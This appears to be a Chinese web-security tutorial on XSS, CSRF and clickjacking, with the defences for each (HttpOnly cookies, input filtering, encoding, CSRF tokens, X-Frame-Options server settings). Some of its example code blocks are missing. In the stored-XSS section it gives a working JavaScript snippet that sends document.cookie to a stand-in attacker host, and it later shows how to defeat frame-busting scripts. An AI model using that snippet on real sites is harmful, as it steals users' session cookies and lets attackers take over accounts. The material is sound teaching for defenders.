原文连接
XSS
xss: 跨站脚本攻击（Cross Site Scripting）是最常见和基本的攻击 WEB 网站方法，攻击者通过注入非法的 html 标签或者 javascript 代码，从而当用户浏览该网页时，控制用户浏览器。
xss 主要分为三类：
DOM xss :
DOM即文本对象模型，DOM通常代表在html、xhtml和xml中的对象，使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。它不需要服务器解析响应的直接参与，触发XSS靠的是浏览器端的DOM解析，可以认为完全是客户端的事情。
反射型 xss :
反射型XSS也被称为非持久性XSS，是现在最容易出现的一种XSS漏洞。发出请求时，XSS代码出现在URL中，最后输入提交到服务器，服务器解析后在响应内容中出现这段XSS代码，最后浏览器解析执行。
存储型 xss :
存储型XSS又被称为持久性XSS，它是最危险的一种跨站脚本，相比反射型XSS和DOM型XSS具有更高的隐蔽性，所以危害更大，因为它不需要用户手动触发。 允许用户存储数据的web程序都可能存在存储型XSS漏洞，当攻击者提交一段XSS代码后，被服务器端接收并存储，当所有浏览者访问某个页面时都会被XSS，其中最典型的例子就是留言板。
跨站脚本攻击可能造成以下影响：
利用虚假输入表单骗取用户个人信息。
利用脚本窃取用户的 Cookie 值，被害者在不知情的情况下，帮助攻击者发送恶意请求。
显示伪造的文章或图片。
存储型 xss 案例
在项目开发中，评论是个常见的功能，如果直接把评论的内容保存到数据库，那么显示的时候就可能被攻击。
如果你只是想试试 xss，可以这样：
试试水复制代码
如果带点恶意，可以这样：
复制代码
这时，网站就挂了。
当然，最常见 xss 攻击是读取 Cookie：
复制代码
Cookie 发送给攻击者的站点：
var img = document.createElement('img') img.src='http://www.xss.com?cookie=' + document.cookie img.style.display='none' document.getElementsByTagName('body')[0].appendChild(img)复制代码当前用户的登录凭证存储于服务器的 session 中，而在浏览器中是以 cookie 的形式存储的。如果攻击者能获取到用户登录凭证的 Cookie，甚至可以绕开登录流程，直接设置这个 Cookie 值，来访问用户的账号。
防御
按理说，只要有输入数据的地方，就可能存在 XSS 危险。
httpOnly: 在 cookie 中设置 HttpOnly 属性后，js脚本将无法读取到 cookie 信息。
// koa ctx.cookies.set(name, value, { httpOnly: true // 默认为 true }) `复制代码过滤
输入检查，一般是用于对于输入格式的检查，例如：邮箱，电话号码，用户名，密码……等，按照规定的格式输入。
不仅仅是前端负责，后端也要做相同的过滤检查。
因为攻击者完全可以绕过正常的输入流程，直接利用相关接口向服务器发送设置。
HtmlEncode
某些情况下，不能对用户数据进行严格过滤，需要对标签进行转换当用户输入
<script>window.location.href=”http://www.baidu.com”;</script>, 最终保存结果为<script>window.location.href="http://www.baidu.com"</script>, 在展现时，浏览器会对这些字符转换成文本内容，而不是一段可以执行的代码。JavaScriptEncode
对下列字符加上反斜杠关于更多 HtmlEncode 和 JavaScriptEncode，请参考
CSRF
csrf：跨站点请求伪造（Cross-Site Request Forgeries），也被称为 one-click attack 或者 session riding。冒充用户发起请求（在用户不知情的情况下）， 完成一些违背用户意愿的事情（如修改用户信息，删初评论等）。
可能会造成以下影响：
利用已通过认证的用户权限更新设定信息等；
利用已通过认证的用户权限购买商品；
利用已通过的用户权限在留言板上发表言论。
一张图了解原理：
简而言之：网站过分相信用户。
与 xss 区别
通常来说 CSRF 是由 XSS 实现的，CSRF 时常也被称为 XSRF（CSRF 实现的方式还可以是直接通过命令行发起请求等）。
本质上讲，XSS 是代码注入问题，CSRF 是 HTTP 问题。XSS 是内容没有过滤导致浏览器将攻击者的输入当代码执行。CSRF 则是因为浏览器在发送 HTTP 请求时候自动带上 cookie，而一般网站的 session 都存在 cookie里面。
来自某乎的一个栗子：
案例
比如某网站的转账操作
受害者张三给李四转账100，
通过对银行的网站发起请求 ，
通常情况下，该请求发出后，服务器端会检查 session 是否合法，并且张三已经登录成功，
黑客王五可以自己给银行发送一个请求 ，但是这个请求来自王五，而不是张三，他并不能通过安全认证。他需要张三的 session 。
王五自己做了一个网站，放入如下代码 ，
用各种方式诱使张三点击自己的网站。张三登录了银行的网站没有退出，访问了黑客王五的网站，上述的 url 就会向银行发起请求。
如果session没有过期，这时悲剧就发生了，张三的账户里少了1000。
防御
验证码；强制用户必须与应用进行交互，才能完成最终请求。此种方式能很好的遏制 csrf，但是用户体验比较差。
尽量使用 post ，限制 get 使用；上一个例子可见，get 太容易被拿来做 csrf 攻击，但是 post 也并不是万无一失，攻击者只需要构造一个form就可以。
Referer check；请求来源限制，此种方法成本最低，但是并不能保证 100% 有效，因为服务器并不是什么时候都能取到 Referer，而且低版本的浏览器存在伪造 Referer 的风险。
token；token 验证的 CSRF 防御机制是公认最合适的方案。
整体思路如下：
第一步：后端随机产生一个 token，把这个token 保存到 session 状态中；同时后端把这个token 交给前端页面；
第二步：前端页面提交请求时，把 token 加入到请求数据或者头信息中，一起传给后端；
后端验证前端传来的 token 与 session 是否一致，一致则合法，否则是非法请求。
若网站同时存在 XSS 漏洞的时候，这个方法也是空谈。
Clickjacking
Clickjacking： 点击劫持，是指利用透明的按钮或连接做成陷阱，覆盖在 Web 页面之上。然后诱使用户在不知情的情况下，点击那个连接访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing) 。
大概有两种方式：
攻击者使用一个透明 iframe，覆盖在一个网页上，然后诱使用户在该页面上进行操作，此时用户将在不知情的情况下点击透明的 iframe 页面；
攻击者使用一张图片覆盖在网页，遮挡网页原有的位置含义。
案例
一张图了解
一般步骤
黑客创建一个网页利用 iframe 包含目标网站；
隐藏目标网站，使用户无法无法察觉到目标网站存在；
构造网页，诱变用户点击特点按钮
用户在不知情的情况下点击按钮，触发执行恶意网页的命令。
防御
X-FRAME-OPTIONS；
X-FRAME-OPTIONS HTTP 响应头是用来给浏览器指示允许一个页面可否在
<frame>,<iframe>或者<object>中展现的标记。网站可以使用此功能，来确保自己网站内容没有被嵌到别人的网站中去，也从而避免点击劫持的攻击。有三个值：
DENY：表示页面不允许在 frame 中展示，即便是在相同域名的页面中嵌套也不允许。
SAMEORIGIN：表示该页面可以在相同域名页面的 frame 中展示。
ALLOW-FROM url：表示该页面可以在指定来源的 frame 中展示。
配置 X-FRAME-OPTIONS：
Apache
把下面这行添加到 'site' 的配置中：
Header always append X-Frame-Options SAMEORIGIN复制代码
nginx
把下面这行添加到 'http', 'server' 或者 'location'，配置中
add_header X-Frame-Options SAMEORIGIN;复制代码
IIS
添加下面配置到 Web.config 文件中
... 复制代码
js 判断顶层窗口跳转，可轻易破解，意义不大；
function locationTop(){ if (top.location != self.location) { top.location = self.location; return false; } return true; }locationTop();复制代码// 破解：// 顶层窗口中放入代码var location = document.location;//或者var location = "";复制代码